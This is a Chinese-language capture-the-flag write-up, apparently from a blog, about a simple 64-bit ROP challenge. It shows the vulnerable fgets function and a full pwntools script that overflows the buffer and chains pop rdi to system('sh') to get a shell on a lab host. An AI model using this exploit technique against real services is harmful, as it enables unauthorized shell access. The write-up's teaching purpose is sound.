一道简单的ROP题,关于文件中/sh字符串的寻找方法

这道题就是一道简单的ROP,主要学到了找字符串的方法,以前一直不是很清楚。

首先查看文件格式和保护措施,发现是64位文件动态链接,只开启了NX保护
查看文件
然后用ida反汇编查看程序主函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
signed __int64 Hello()
{
signed __int64 result; // rax
char s; // [rsp+0h] [rbp-50h]
FILE *v2; // [rsp+48h] [rbp-8h]

printf("Hello pwner, Send me your message here: ");
fflush(stdout);
fgets(&s, 192, stdin);
v2 = fopen("bugsbunny.txt", "a");
if ( v2 )
{
fwrite(&s, 0x40uLL, 1uLL, v2);
result = 0LL;
}
else
{
puts("So shorry cant talk to you now :( ");
result = 1LL;
}
return result;
}

可以看出fgets出有栈溢出漏洞,我们可以通过这个漏洞劫持返回地址。同时我们在ida还发现了system函数,所以我们只需要调用system函数并满足其参数需要就可以成功拿到shell。以下命令十分好用
ROPgadeget--string
然后就可以构造ROP链写脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)

call_system = 0x40075f #call system指令在内存中的位置
binsh = 0x4003ef #字符串"sh"在内存中的位置
pop_rdi = 0x400883 #pop rdi; retn

payload = ""
payload += "A"*88 #padding
payload += p64(pop_rdi)
payload += p64(binsh) #rdi指向字符串"sh"
payload += p64(call_system) #调用system执行system("sh")

io.sendline(payload)
io.interactive()
-------------本文结束感谢您的阅读-------------
+ +